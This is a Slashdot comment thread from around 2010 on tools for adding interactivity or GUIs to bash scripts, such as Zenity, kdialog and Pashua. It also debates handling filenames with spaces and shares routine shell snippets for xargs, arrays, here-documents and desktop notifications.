Beta
×

Welcome to the Slashdot Beta site -- learn more here. Use the link in the footer or click here to return to the Classic version of Slashdot.

Thank you!

Before you choose to head back to the Classic look of the site, we'd appreciate it if you share your thoughts on the Beta; your feedback is what drives our ongoing development.

Beta is different and we value you taking the time to try it out. Please take a look at the changes we've made in Beta and  learn more about it. Thanks for reading, and for making the site better!

Adding Some Spice To *nix Shell Scripts

kdawson posted more than 4 years ago | from the ten-little-endians dept.

GNU is Not Unix 411

An anonymous reader writes "Developing GUI script-based applications is time-consuming and expensive. Most Unix-based scripts run in a CLI mode or over a secure ssh session. The Unix shells are quite sophisticated programming languages in their own right: they are easy to design and quick to build, but they are not user-friendly in the same way the Unix commands aren't (see the Unix haters books). Both Unix and bash provide features for writing user friendly scripts using various tools to build powerful, interactive, user-friendly scripts that run under the bash shell on Linux or Unix. What tools do you use that spice up your scripts on the Linux or Unix platforms?"

cancel ×

411 comments

Sorry! There are no comments related to the filter you selected.

Pashua on OS X (3, Informative)

iliketrash (624051) | more than 4 years ago | (#31903940)

On OS X, I use Pashua, http://www.bluem.net/en/mac/pashua/ [bluem.net] . This is a brilliantly simple thing to use. I also use it for other (non-script) languages for making a quick-and-dirty GUI that still looks nice and is a real Cocoa program.

None! (5, Insightful)

Anrego (830717) | more than 4 years ago | (#31903944)

I know this is troll-ish, but the way I view it a script is just that.. a script. A series of commands to be executed in a specific order designed to automate a repetative task. Basic logic, control, and input are generally ok.. but interaction is in my opinion an indicator that your task is out of scope for a "script" and should become a full fledged application.

(you may now freely argue amongst yourselves on the difference between a script and an application)

There are a metric ass-tonne of dialog-type apps out there .. just google for your favorite toolkits prefix and "dialog" and you'll probably find something..

gdialog
kdialog
xdialog
etc..

Re:None! (0)

Anonymous Coward | more than 4 years ago | (#31904000)

Right on! Examples given in the second link are mostly for desktop 'scripts' - not your typical automated task scripts running on servers. (Not that they are useless - just that does not work for most of the scripted tasks).

Re:None! (2, Interesting)

Antidamage (1506489) | more than 4 years ago | (#31904136)

Sometimes you just have too many flags to really want to be hammering things haphazardly into a single line. In that case guided scripts seem like a fine solution, too. Any simple frameworks out there to save reinventing the wheel?

Re:None! (0)

Anonymous Coward | more than 4 years ago | (#31904402)

I would go with aliases for commonly used flags myself.
My .bashrc, for example, contains:
alias warez="rsync -vrhz --ignore-existing --progress --rsh=ssh"
alias twarez="tsocks rsync -vrhz --ignore-existing --progress --rsh=ssh"

This way I can do this easily ("warez : ." to download, "twarez" being for if I'm in college and need to use the socks proxy), this took about 30 seconds to set up and now requires just a short command and no knowledge of what the flags mean (I can't even remember tbh)

Re:None! (1)

shawn443 (882648) | more than 4 years ago | (#31904334)

I don't know if I agree or disagree. I look inside my init.d and see complicated yet thoroughly worked out logic. I see interaction coming from the other moving parts with conditional statements. I consider these startup applications even if they are really just scripts. Gotta love /bin/bash though.

Re:None! (2, Interesting)

CAIMLAS (41445) | more than 4 years ago | (#31904486)

Often, I find myself writing scripts dealing with tasks which are semi-automated: I need a couple variables of input to deal with variance, but for the most part it's a repetitive task.

What you're referring to is a batch script; that's good and fine, and I need those two. But that doesn't mean that interaction delineates a "script" from an "application".

Though, I agree on one thing: a script is a script. There's no need to throw a dialog on there unless it in some way cleans up your input/output code and/or makes parsing the input cleaner.

Re:None! (-1, Redundant)

Anonymous Coward | more than 4 years ago | (#31904488)

I tend to agree with this. If I want to automate a simple, repetitive process, I'll write a shell script. If it gets more complicated or requires interaction with the user, then I find myself switching to something like C. I realise it's possible to do a lot of amazing things with shell scripts, but I'm a big fan of using whichever tool in my toolbox is easiest for the task at hand.

Re:None! (2, Interesting)

grcumb (781340) | more than 4 years ago | (#31904552)

I know this is troll-ish, but the way I view it a script is just that.. a script. A series of commands to be executed in a specific order designed to automate a repetative task. Basic logic, control, and input are generally ok.. but interaction is in my opinion an indicator that your task is out of scope for a "script" and should become a full fledged application.

Well, there's interaction and then there's interaction. The grey area between script and application might be larger than your instinct tells you....

I do document processing for large volumes of legal materials. A number of my scheduled tasks require graduated responses. If the task completes as desired, then no interaction is necessary. If the task encounters one of a set of known issues, then some sort of logic is necessary to decide whether it needs a technical remedy or whether an expert legal editor needs to intervene.

Because the steps are somewhat malleable (we receive documents from 20 different countries), it makes sense to break the process down into a series of discrete stages. Perfect for scripted solutions. But because interaction with humans might be required at any stage, we also need something a little more receptive to input than a number of command-line parameters.

My scripts get wrapped into a proper framework that formalises the way in which they're run, their interfaces to syslog and email, as well as allowing custom logic (in the form of callbacks) in parsing STDOUT and STDERR. They're still scripts, but they run in an environment that smells a lot like userland[*].

----------------

[*] Yeah, I know.

"Interaction" (4, Informative)

betterunixthanunix (980855) | more than 4 years ago | (#31904612)

The way I look at it is this: the "interaction" may actually be with another script. The whole abstraction that Unix-like OSes enforce, at least with file based IO, is that it is irrelevant what is on the other side of a file descriptor -- a disk, a pipe, a user, a socket, or something else entirely.

Of course, this all starts to break down with GUIs.

Just Bash? (2)

DarkKnightRadick (268025) | more than 4 years ago | (#31903946)

Limiting yourself much? Also *nix != bash and bash != *nix though I imagine all shells share a host of similar commands.

Re:Just Bash? (1)

hedwards (940851) | more than 4 years ago | (#31904526)

Just as long as you're not scripting in a c shell you should be relatively OK. The scripts I see tend to be in either Bash or Bourne, but I'm sure there's people that insist on using the Korn shell and other ones. The main problem is that when you get too far from the standard shells you run an increased risk that the shell has to be installed. Bash for instance isn't installed by default on FreeBSD, but Bourne is.

It's not just the built ins it's how they're used, you don't want to be caught scripting in C shell as there isn't a proper way of seeing what the command is going to do ahead of time. You're also needing to worry about the quality and types of operations that the shell can handle. Some are more focused on scripting than others are.

the usuals.... (1)

girlintraining (1395911) | more than 4 years ago | (#31903950)

sed, awk, grep, strings, lots of pipes, and randomly useful scripts made from them stuffed into my ~/bin folder...

Re:the usuals.... (0)

Anonymous Coward | more than 4 years ago | (#31904280)

heh.. What's the point? None of them send a message to user's desktop, do they?

Re:the usuals.... (1)

cynyr (703126) | more than 4 years ago | (#31904468)

"man notify-send" a way to make libnotify calls from just about anything, for that annoying pop up you feel you need.

None, I have given up bash scripting (2, Interesting)

TheSunborn (68004) | more than 4 years ago | (#31903958)

None, I have given up bash scripting. The syntax and semantic are simply to wierd. And it can't handle filenames with space in them without some serious hack magic.

Maybe its time someone (re)-invent a total new shell, with a sane scripting language, commands with consistent names for the same arguments and in general something which don't feel like I live in 1980.

And I am a fulltime linux used, and a software developer, and I do use the shell as an interactive interface, but I newer script it, and I always have the feeling that I am using a 20 year old interface with so many issues that its insane. Kinda like the same feeling I get when I use sas(The static package. Nice features HORRIBLE interface)

Re:None, I have given up bash scripting (2, Funny)

Anonymous Coward | more than 4 years ago | (#31904030)

it can't handle filenames with space in them without some serious hack magic.

Use quotes

Re:None, I have given up bash scripting (0)

Anonymous Coward | more than 4 years ago | (#31904144)

Which is obvious :)

Now, if you were talking about GNU make...

Re:None, I have given up bash scripting (3, Funny)

Anonymous Coward | more than 4 years ago | (#31904180)

That's what novice "experts" usually say to do. Then you end up getting filenames that contain quotes. So what started as just escaping spaces turns into escaping spaces and two types of quotes. Depending on the approach you use here, you may need to escape some other characters, just in order to escape quotes, just so you can escape spaces, just so you can deal with filenames containing spaces.

Any sensible person would say "fuck it" and just use a real scripting language like Python, Ruby or Perl.

Re:None, I have given up bash scripting (0)

Anonymous Coward | more than 4 years ago | (#31904226)

MOD PARENT UP, BABY.

Re:None, I have given up bash scripting (0)

Anonymous Coward | more than 4 years ago | (#31904218)

In fairness, that doesn't fix what he's talking about -- handling filenames sent to and received from other processes (e.g. ls|grep something|sed ...)

But that's not strictly a shell issue -- while most shells contribute, various other utils contribute as well. And, while more complicated than slapping quotes on, it's usually pretty straightforward to fix. More of an "oops, I forgot to take the usual precautions" than "how the fuck do I deal with this?!".

Re:None, I have given up bash scripting (2, Insightful)

Dadoo (899435) | more than 4 years ago | (#31904282)

Use quotes

Ummm... yeah. Try "tar tf file.tar | xargs rm", when some of the files in the archive contain spaces (or other shell special characters).

Re:None, I have given up bash scripting (4, Informative)

DaleGlass (1068434) | more than 4 years ago | (#31904426)

Use:

tar tf file.tar | xargs -d "\n" rm

That will work unless the filenames contain newlines in them.

Re:None, I have given up bash scripting (1)

Dadoo (899435) | more than 4 years ago | (#31904656)

Doggone it! You'd think, after 25 years of Unix, I'd know about that option. That's a good one. Thanks.

I guess I'll have to read the man pages a little more often.

Re:None, I have given up bash scripting (1)

hkz (1266066) | more than 4 years ago | (#31904578)

tar tf file.tar | while read file; do rm "$file"; done

This works because the entire line is read into $file, spaces and all.

Handling spaces (1)

Burning1 (204959) | more than 4 years ago | (#31904610)

Use quotes

Ummm... yeah. Try "tar tf file.tar | xargs rm", when some of the files in the archive contain spaces (or other shell special characters).

In your example, I'd use a read loop to treat each line of of output as a single element. Handle each line using double quotes.

In most cases, an array works fine for preserving special characters in file-names.

mkdir /tmp/test
cd /tmp/test
touch 'foo'
touch 'bar baz'
declare -a FOO
FOO=(*)

Foo now contains an array. Each element is a single file-name, that preserves shell special characters.

Foo has 2 elements

$ echo ${#FOO[@]}
2

Those elements are:

$ for ELEMENT in "${FOO[@]}"; do echo $ELEMENT; done
foo
bar baz

Elements can be accessed in an arbitrary order, using typical array syntax.

echo ${FOO[1]}
echo ${FOO[2]}

As far as I know, this approach to handling files has been supported for a long time.

Re:None, I have given up bash scripting (0)

Anonymous Coward | more than 4 years ago | (#31904040)

rc from plan 9 and/or unix v10

Re:None, I have given up bash scripting (0)

Anonymous Coward | more than 4 years ago | (#31904062)

"And I am a fulltime linux used,..."

Me too, I always feel *used* by linux, although, I don't let it be fulltime.

Re:None, I have given up bash scripting (4, Informative)

Hatta (162192) | more than 4 years ago | (#31904210)

Does `find . -print0 | xargs -0` really qualify as "serious hack magic"?

Re:None, I have given up bash scripting (1)

slimjim8094 (941042) | more than 4 years ago | (#31904214)

What's the problem with File\ Name.txt?

Re:None, I have given up bash scripting (1)

Sir_Lewk (967686) | more than 4 years ago | (#31904256)

The problems occur when you start writing scripts, and start passing filenames around in pipes and whatnot. Generally speaking there are ways to avoid doing that, but it's not uncommon to realize that you accidental put yourself in that sort of a situation.

Re:None, I have given up bash scripting (3, Funny)

ZeBam.com (1790466) | more than 4 years ago | (#31904250)

Use Perl

Re:None, I have given up bash scripting (0)

Grishnakh (216268) | more than 4 years ago | (#31904354)

Simple solution: don't use filenames with spaces in them. They're an incredibly stupid idea. If you need something that looks like a space, use an underscore. The same practice has been done in C since the early 70s, since having spaces inside C tokens would be stupid.

The best way to write a script to handle a filename with a space is to make a two-line construct that determines if a file has a space, and if it does, exit with an error, telling the user to fix the filename.

Most of these issues were resolves years (or decades) ago; it's only now with Windows and developers coming from the broken Windows platform that these issues are coming up again.

The only reason you're having "so many issues" is because you're trying to apply a Windows mindset to Unix, as seen in your comment about spaces in filenames. All the stuff in Unix (and now Linux) has been built up over 40 years of use and development. Nothing's forcing you to use all the oldest methods, including bash scripting; you're perfectly free to use Perl, Python, etc. and never touch a bash script.

Re:None, I have given up bash scripting (4, Insightful)

vux984 (928602) | more than 4 years ago | (#31904474)

Simple solution: don't use filenames with spaces in them. They're an incredibly stupid idea. If you need something that looks like a space, use an underscore. The same practice has been done in C since the early 70s, since having spaces inside C tokens would be stupid.

Simpler solution. Don't use computers.

Seriously now. You expect all the end users out in the world to stop using spaces... just so your script works?

Re:None, I have given up bash scripting (0, Troll)

Grishnakh (216268) | more than 4 years ago | (#31904558)

No, I expect competent programmers to not do incredibly stupid things, like use filenames with spaces in them. There is absolutely no good reason for it, and tons of reasons against it (including the fact that CLI shells on both Unix and Windows interpret spaces as a field separator).

Re:None, I have given up bash scripting (2, Insightful)

Cougar Town (1669754) | more than 4 years ago | (#31904568)

I expect competent programmers to not be lazy and properly escape/sanitize their inputs.

Re:None, I have given up bash scripting (0, Troll)

Grishnakh (216268) | more than 4 years ago | (#31904620)

As I said before, I already provided a solution: error out when encountering broken filenames like this. A two-line test is all that's needed. There is absolutely no good reason to have a space in a filename. Enabling bad practices only allows these practices to continue, just like enabling freeloaders by giving them what they want will only cause them to continue freeloading instead of getting a job.

Re:None, I have given up bash scripting (1)

DiegoBravo (324012) | more than 4 years ago | (#31904646)

> No, I expect competent programmers to not do incredibly stupid things, like use filenames with spaces in them.

It is really difficult to find programs that create file names with spaces on purpose.

The problem is that computers are used by..... people! and you know, people is used to spaces to separate words, so the file names will also carry that hideous defect.

Re:None, I have given up bash scripting (0)

siride (974284) | more than 4 years ago | (#31904492)

I'm a big fan of Unixy goodness, but this post is retarded. If there is a problem along the lines of "I'm trying to do this totally legitimate thing XYZ, but language ABC is having trouble with it" and your answer is "don't do XYZ", you have not answered the question correctly. There is absolutely no reason why there shouldn't be spaces in filenames...except that certain old programs and scripts can't handle it. Well, some old programs and scripts can't handle property security either. Should we get rid of property security? No. Fix the programs. Similarly, fix the shell. Or...just use Perl or Python. But the solution is not "don't use spaces".

Re:None, I have given up bash scripting (1)

hedwards (940851) | more than 4 years ago | (#31904602)

Spaces are a pain, but having witnessed how broken some OSes are when it comes to handling anything beyond the most basic, the advice I give is deviate from the extremely basic at your own risk. As far as I know all modern OSes can handle spaces in file names. But, it's better not to anyways. It's not that hard to end up in a situation where you've got illegal characters in the filename. I remember a while back trying to put my MP3s in a NTFS disk and having to deal with the several ? that the program had put into some filenames. The OS I did that on was fine with it, but when I got to Windows it was impossible to delete or really work with.

If you use them then you need to account for them in some fashion. You can do it anyways, you just end up with more complication and another way in which things can go wrong.

Re:None, I have given up bash scripting (0, Redundant)

Grishnakh (216268) | more than 4 years ago | (#31904604)

I already showed the fix for it: make the script error out when it encounters a filename with a space in it.

And you're wrong, there IS a reason spaces shouldn't be in filenames: spaces are used as field delimiters. Anything that comes after a space on a command line is supposed to be an additional argument. This holds true in both Unix and Windows, so it's not some kind of "archaic" Unix thing.

Re:None, I have given up bash scripting (1)

Cougar Town (1669754) | more than 4 years ago | (#31904522)

One thing that really pisses me off is scripts or apps that can't handle spaces or other certain characters in filenames.

It's 2010. We have all kinds of advanced, powerful software, and a space is a perfectly valid filename character (unlike the C tokens you mention, where they are not actually allowed).

Forty years ago we had two-digit years and other restrictions that were acceptable at the time. Well, it's not forty years ago, and things have come a long way. UNIX and UNIX-like systems can handle Unicode and lots of other technologies that were unheard of or in limited use forty years ago. Something as simple as spaces in filenames should be no exception.

Re:None, I have given up bash scripting (1)

Grishnakh (216268) | more than 4 years ago | (#31904584)

It's 2010. We have all kinds of advanced, powerful software, and a space is a perfectly valid filename character (unlike the C tokens you mention, where they are not actually allowed).

No, while it may be technically valid, it's no more a good practice than embedding various high-ASCII characters (like #s 179-223) in your filenames. It just makes it extremely difficult for people to retype those things.

Most unicode characters are not used as field delimiters. Spaces are. That's the reason they shouldn't be used, neither on Unix nor on Windows (try opening a DOS shell on XP and typing in a command using a filename with spaces, without quotes).

Re:None, I have given up bash scripting (4, Insightful)

CAIMLAS (41445) | more than 4 years ago | (#31904534)

You mean something like perl? Or maybe python?

My vote is for perl. It's more common in a "base install" than any other shell (in the BSDs and most Linux distros) and has a non-trivial amount of power. It's good at dealing with path and input permutations and you can interface it with pretty much anything. Hell, pcre came from perl, and that's used almost everywhere these days: it's got a lot of things right for the little that's wrong, at least in terms of being a good scripting language.

I avoid "shell" scripting (csh, sh, bash) if at all possible, too. The contortions necessary to do the frequently-necessary evaluations takes quite a bit longer, even with a chain of awk/sed/grep and the like. Unlike those languages, perl is entirely self-contained and does not have any system-specific oddities (eg. with a shell script, many system binaries are different and an option/parameter pair on one system might do something entirely different on another - or not work at all).

I realize perl can often (usually) be difficult to read. But for my purposes, it's good enough, because I'm a bit of a prolific comment writer as a matter of process.

Re:None, I have given up bash scripting (0)

Anonymous Coward | more than 4 years ago | (#31904594)

Then start reading man pages. You would be surprised what magic you can do with simply adding "xargs -0" and such. To me, you look like somebody who uses tool they know rather than using what's appropriate. Fulltime or not, yours is problem of attitude and aptitude.

Re:None, I have given up bash scripting (1)

Darinbob (1142669) | more than 4 years ago | (#31904682)

I've felt that sh (bash or ksh) is one of the more sane scripting languages out there, for what it does. Granted it's not a full programming language in many respects. Most of the oddities come from it being specially a scripting language for "commands" as well as the interactive command processor in one. Ie, Perl may be more powerful, but it would be inconvenient to use Perl as your CLI. There's a big difference between a programming language that lets you run a command as an afterthought and a command line shell that makes running commands be transparent while allowing you to build up complex sequences and scripts from the command line or a file.

On the other hand, csh is pretty awful for scripting purposes. I think a lot of people get exposure to that and then run in fear from any Unix shell scripting in the future.

Of course there are some things I'd probably change in sh, but of all the ugly CLI languages out there I like it best. Simple syntax, simple to use, doesn't get in your way, uniform interface to all commands, etc.

File names with spaces are NOT an issue with sh itself, but an issue with the user or OS that created files with spaces in them in the first place. When you use an element delimiter within elements themselves, you're going to have to quote them somehow. This is sort of like complaining that C doesn't allow you to use spaces within variable names... If xargs gets confused, the problem is with xargs and not sh (and xargs does have ways to work around this).

vi and (-1, Troll)

Anonymous Coward | more than 4 years ago | (#31903960)

...ascii porn is all it takes to spice up any relationship with your filesystem.

Re:vi and (0, Offtopic)

extremescholar (714216) | more than 4 years ago | (#31904220)

apt-get moo is not quite porn...

Gtk2-Perl (1)

vandan (151516) | more than 4 years ago | (#31904032)

I really can't praise Gtk2-Perl enough. Using Glade to quickly build your GUI, and Perl to quickly build your logic, it's a knock-out combination. The end result looks just like a gnome application ( using Gtk2 ), and for 95% of cases, runs as fast as well. I liked it so much, I wrote some database classes, Gtk2::Ex::DBI and Gtk2::Ex::Datasheet::DBI ... see: http://entropy.homelinux.org/axis/ [homelinux.org] .

Re:Gtk2-Perl (1)

grcumb (781340) | more than 4 years ago | (#31904374)

I really can't praise Gtk2-Perl enough. Using Glade to quickly build your GUI, and Perl to quickly build your logic, it's a knock-out combination.

Heh, I'll see your GUI and raise you transparency. I've got a little dashboard applet that uses X11::Aosd to display a translucent status display for all my key servers. Yes, I know I just re-invented Conky, but because it's Perl I can use SSH::RPC in the back end to securely talk to my servers in order to get quick and dirty performance metrics.

One of the things scripting does well is to chop tasks into small, manageable steps. While system monitoring is a complex and demanding process, all I really need on my desktop is something about as sophisticated as a baby monitor. In the first instance, I don't need to know what's wrong; I just need to know that something's wrong.

Screenshot here [flickr.com] , if you're into that kind of thing. It's simple and slightly boring, really, but that's by design. It's not supposed to sing and dance, and above all, it's not supposed to cry wolf. It's just supposed to sit there quietly and let me know that my servers are healthy and happily chugging along.

It's pricey but.... (2, Funny)

Fluffeh (1273756) | more than 4 years ago | (#31904066)

I always request the budget for a small unit of scantily clad maidens from management in addition to the team beer budget.

One day.... one day....

Zenity (0)

Anonymous Coward | more than 4 years ago | (#31904084)

Zenity: http://live.gnome.org/Zenity
So easy, my grandma could use it.

I was going to suggest this too. (1)

Marrow (195242) | more than 4 years ago | (#31904600)

Zenity is fun, and seems to be offered by default on many distros now.

Basically its a shell front end to the gtk widgets .

I've been having better luck with applescript (1)

jordan314 (1052648) | more than 4 years ago | (#31904090)

In OS X, for simple user interaction I've been having better luck with applescript. It's easy enough to alert and get user input with the "display dialog" command, and then I can run "do shell script" to execute my scripts. I can save them as application bundles, I can give them custom icons, they appear in the dock when running, or I can optionally hide them from the dock with LSUIElement. The ability to run interapplication commands and the UIElementInspector tool is a boon for being able to perform powerful multi-app interactions.

Easy ways of GUI scripting (1)

houghi (78078) | more than 4 years ago | (#31904098)

"Developing GUI script-based applications is time-consuming and expensive"

KDialog and Zenity are pretty easy to write a script that can be used in a GUI. The underlying thing is just bash (or whatever) itself.

Off the top of my head... (4, Informative)

hkz (1266066) | more than 4 years ago | (#31904130)

I work as a Linux netadmin and system developer, so I do a lot of shell programming in (ba)sh. Here's some of the niftier things you can do to a shell script:

- Make colored output with shell escape sequences. Works especially well with red type for error messages, makes them really stand out.
- Use inline functions a lot. The great thing about them is that you can pipe to them and use them in all kinds of places. For instance, to do mysql queries:

mysql_query() { /usr/bin/mysql --user=root --pass=topsecret database
}

echo 'SELECT * FROM accounts' | mysql_query

- "Here documents". For long MySQL sequences, something like the following (reusing the mysql_query function from above):

cat - EOF | mysql_query
      SELECT bar
      FROM foo
      WHERE baz ...
EOF

This lets you easily format stdin for scripts and other programs. Also really useful for outputting HTML and stuff like that. Best thing is that variables are expanded inside the block.

- The || and && operators. Check if a file exists, remove if so, else complain:
[ -f /tmp/somefile.txt ] && rm /tmp/somefile.txt || echo "Does not exist!"

Also common in this form:
[ -x /usr/bin/necessaryprogram ] || { echo "aaargh"; exit 1; }

- Making a "multithreaded" shellscript is also one of my favourites. Say, you want to start five virtual machines at the same time. Write a function that starts a vm, and call it a few times in a loop, backgrounding each instance with &, and saving their PIDs. Then have a "wait loop" that waits for the PIDs to exit the system (or for a timeout to occur).

- Proper argument handling with getopt. Have your script take "real" arguments in any order, just like real binaries.

This just scrapes the surface of the surface, of course. I learn new stuff every day.

Nice example. (1)

CFD339 (795926) | more than 4 years ago | (#31904392)

I do a fair bit of shell scripting, but your script-fu is better than mine. I've just printed your sample go over again later with my copy of Ken Burch's book in hand to make sure I understand every nuance. I don't think I've EVERY printed anything from /. before.

Re:Nice example. (3, Informative)

hkz (1266066) | more than 4 years ago | (#31904450)

Thanks, it's nothing I couldn't show a fella. Learnt a lot from my colleagues and from the O'Reilly 'Unix Power Tools' book. The Advanced Bash Shell-scripting Guide is pretty good (but chaotic) too.

The syntax filter here munged some of the examples, though. The here document example will not work as-is, because there should be two 'less-than' signs in front of the minus sign. The mysql_query function probably also won't work (can't bother to run a test), because the newline after the first bracket mysteriously disappeared. So best to loop up the concepts in some kind of reference manual.

All fantastic stuff (0)

Anonymous Coward | more than 4 years ago | (#31904560)

But did you know you can do every one of those things (except the inline color changes to text, although now you have made me wonder what's possible... hmm..) in a crufty old DOS batch file? Well, not COMMAND.COM but CMD.EXE will handle quite a lot if you get creative with DOSKEY, assigning variables to their own names, taking advantage of splitting var expansion in mid loops, abuse of the DATE command that will get your wanted in 48 states, nested variables inside multiple nested CALLS, oh and then there's the fact that variable names can contain spaces as well as the special %! variable identifiers themselves.... aaaand also can be expanded to blocks of runnable script in mid-execution. Did you know you can create data structures up to 8mb in size in each CMD shell's environment?

Posting as AC because Cerberus has already warned me once about posting from down here, something about not spoiling the surprise for the Redmond boys when they arrive.

Since I live in my parent's basement... (2, Funny)

the_humeister (922869) | more than 4 years ago | (#31904134)

I use the usual: sed, [, wget, etc to automate downloads of pr0n.

You mean that VI (1)

garyisabusyguy (732330) | more than 4 years ago | (#31904150)

is not a GUI?

Re:You mean that VI (1)

Sir_Lewk (967686) | more than 4 years ago | (#31904224)

More of a TUI [wikipedia.org] if you want to be pedantic.

I dissent (2, Insightful)

ZeBam.com (1790466) | more than 4 years ago | (#31904156)

I disagree with the premise that GUI interfaces are needed, desirable, or constitute "spicing up." Command line scripts are fine and dandy in my book.

Re:I dissent (1)

Dadoo (899435) | more than 4 years ago | (#31904328)

Command line scripts are fine and dandy in my book

I'm inclined to agree, given that I've written several dynamic web pages in shell.

Re:I dissent (3, Insightful)

martin-boundary (547041) | more than 4 years ago | (#31904412)

It's also plain short-sighted to program a script for a GUI.

It implies that the script will only be run by human users (and probably, human users who happen to run a particular flavour of GUI). Traditional shell scripts are written for all users, not just human users.

Why should developers care about non-human users? It's what makes automation possible. Every time time a script delegates work to another script, that's a non-human user scenario.

If you build enough scripts that can be used by all users, then you have a critical mass and your system becomes really powerful. If you build enough scripts that can only be used by human users, then your system stays weak, for it is limited by the actions of a single human operator.

Re:I dissent (1)

ZeBam.com (1790466) | more than 4 years ago | (#31904528)

Excellent points. That's part of the fundamental purpose of unix.

Stop using the Shell (4, Interesting)

Bruce Perens (3872) | more than 4 years ago | (#31904158)

The shell is a poor clone of 1950's algol. Today, scripting in Ruby or Python yields scripts that can handle errors with advanced facilities like exceptions, and is more maintainable, and can connect to a number of different GUIs or the web.

Re:Stop using the Shell (1)

sribe (304414) | more than 4 years ago | (#31904380)

The shell is a poor clone of 1950's algol. Today, scripting in Ruby or Python...

It was a great day when I decided no more bash scripts, ever. Ruby is so much nicer...

Re:Stop using the Shell (1)

ZeBam.com (1790466) | more than 4 years ago | (#31904634)

Perl!

WTF? (0, Troll)

Temkin (112574) | more than 4 years ago | (#31904162)

Why on God's green earth would I want to "spice up" my shell scripts?!?! Spicey shell scripts... What the hell is the world coming to?

Now you kids get off my lawn!

Re:WTF? (0)

Anonymous Coward | more than 4 years ago | (#31904452)

I thought the same thing. I wish someone would punch the submitter.

3D goggles! (3, Funny)

Anonymous Coward | more than 4 years ago | (#31904170)

Combined with red and blue text the goggles make my facepalm ASCII art really pop!

You see, I use ASCII art in lieu of the dialog boxes for user feedback. It's more intuitive to show facepalm guy when I ask the user for a digit & they give me a letter. They understand right away that they're an idiot.

Why would you want to tack on a friendly UI? (0)

Anonymous Coward | more than 4 years ago | (#31904172)

Shell scripting is used to automate system administration tasks to be run by system admins. Output what you need to see to make sure it works. No need to spend time making a nice UI, the goal is speed up / automate repetitive work. If your script has a nice UI, it makes it difficult to use it from within other scripts.

If it's going to be around a long time / reused by others, consider writing a bit of documentation.

If you are writing something to be run by end users or have some other reason to need it to look friendly, a) train the end user or b) use something else as a front end to your scripts.

Re:Why would you want to tack on a friendly UI? (1)

Grishnakh (216268) | more than 4 years ago | (#31904418)

If you are writing something to be run by end users or have some other reason to need it to look friendly, a) train the end user or b) use something else as a front end to your scripts.

Or just don't use shell scripts at all. Use the best tool for the job. For system administration tasks, shell scripting usually works well. For more complex stuff, Perl is probably a better choice. For something that needs to look friendly and be run by nontechnical users, write it in Python or some other language. You can even easily tack on a GUI front-end with the more advanced scripting languages.

Why do so many people try to do every single job with their one preferred language? Different languages are better at different tasks. I wouldn't write a GUI in a shell script, I wouldn't write a high-performance application in Perl, and I wouldn't write a quick-and-dirty program to automate some common command-line task in C++.

Wrong approach (1)

aBaldrich (1692238) | more than 4 years ago | (#31904222)

UNIX was designed with efficiency in mind. User friendliness was not a problem because everyone who used it had studied some applied mathematics. In UNIX you tell the computer the steps that make your algorithm, not "button, onClik bsod".
One of the Tips is KDialogs. What if I use anything else than KDE? Another is about sending messages to windows workstations. That must be really useful for the *nix sysadmin.
On the UNIX Haters' manual, let a quote say everything: "My co-editors took over after I started work at Microsoft. (So no, it's not a Microsoft conspiracy.)".

AppleScript, what else? (0)

Anonymous Coward | more than 4 years ago | (#31904232)

It so happens, that today, for the first time, I had to script something on an Apple Macintosh, that needed user interaction and was not just for myself (or my fellow administrators). Naturally I looked for xdialog etc., but it required you to use ports etc. which I really wanted to avoid on our user's machines.

So, for really dead simple 'scripts', I came to like AppleScript and the osascript command line utitlity: http://developer.apple.com/mac/library/documentation/Darwin/Reference/ManPages/man1/osascript.1.html

The script was dead simple, as said, it just had to be user friendly. I myself have no problem opening a terminal window, running a script and passing a command line argument (a file name to work on), but our users are simply stupid. With osascript, I was able to uses a native MAC file chooser component to show to the user, which got rid of all the intimidating terminal window and command line typing stuff and the user is happy. Love it!

Why (4, Insightful)

silas_moeckel (234313) | more than 4 years ago | (#31904260)

The CLI is powerful because it's a CLI, you do not need or want pretty dialog boxes. Help is whats available with man --help usefull errors messages and the contents of /var/log. It works over 9600 baud serial and works pretty well so you can ssh from your smartphone with 1 bar and fix something at 3am before the GUI would have time to come up to a login screen. A good CLI expects things to be piped into and out of it and can get any required information via the command line. The power of the CLI is that you can chain bits together run to do things or wrap scripts around other scripts and do useful work.

You point to a 20 year old book that mostly bitches about how slow/ugly X is, guess what things have come a long way, I run one laptop with native X and it looks good is responsive I export X all the time over ssh to my primary desktops. Take a step back and think why your trying to shoehorn GUI functions onto a CLI if you really need to do it look at some of the toolkits that can detect if there is a X server present and use that fallback to text gui and run entirely headless by pure command line but think long and hard about why you would want to do this.

tools I found useful (5, Informative)

tpwch (748980) | more than 4 years ago | (#31904264)

Here are some random things I find useful, related to user interaction (mostly becuase it notifies the user):

Oven timer:
sleep $((20*60)); xmessage "Dinner is done"

Quick macro for automating some repetitive task in a program:
xdotool type "something"; xdotool key Return; xdotool mousemove $x $y; xdotool click 1; (and so on)

Copying a file to/from the clipboard (can also copy from /topipe, so the output of any command). Faster than opening a text editor:
xclip -in file

Notifying me when some specific thing changed on a website:
CHECKLINE="$(curl -s http://somewebsite.org/somepage.html [somewebsite.org] | grep "currently undergoing maintenence")"
while true; do
    sleep 120
    [ -z "$CHECKLINE" ] && xmessage "somewebsite is open again" && exit
done

Or just checking for changes in general (I use this for notifying me when something changed when tracking something I ordered, so I know the minute the package is ready to get picked up at the post office):
while true; do
    OLD_MD5=${MD5}
    CONTENT=$(elinks -dump 1 -dump-charset iso-8859-1 "http://someurl.com/track?id=someid")
    MD5=$(echo -n $CONTENT | md5sum -)

    [ "${MD5}" != "${OLD_MD5}" ] && {
        xmessage "$(printf "New action: :\n\n${CONTENT}")"
    }
    sleep 120
done

If you don't want to interrupt what you're doing with a pop-up you can pipe it to osd_cat instead to have the text appear over whatever program you're currently working with. Adding a few beep; beep; beep; beep; is also a good way to get your attention if you're not paying 100% attention to your computer all the time.

Some days I output some form of progress measure (1)

lordlod (458156) | more than 4 years ago | (#31904266)

Most of the time I don't bother.

Seriously scripts (be they Bash, Perl or Python) are designed to get something done. Occasionally if the script will be rerun frequently I accept command line parameters, if the script takes a long time (> 10 mins) I'll output some form of progress measure and if the script is being run by non-techies I'll even strap on a basic GTK gui for them. The vast majority of the time though I just hard code the parameters into the top of the file, use the script a few times and archive it for later reference. If you are spending any more time than absolutely necessary to get the job done then you don't get the scripting ethos.

Re:Some days I output some form of progress measur (1)

ZG-Rules (661531) | more than 4 years ago | (#31904346)

Most of the time I *do* bother.

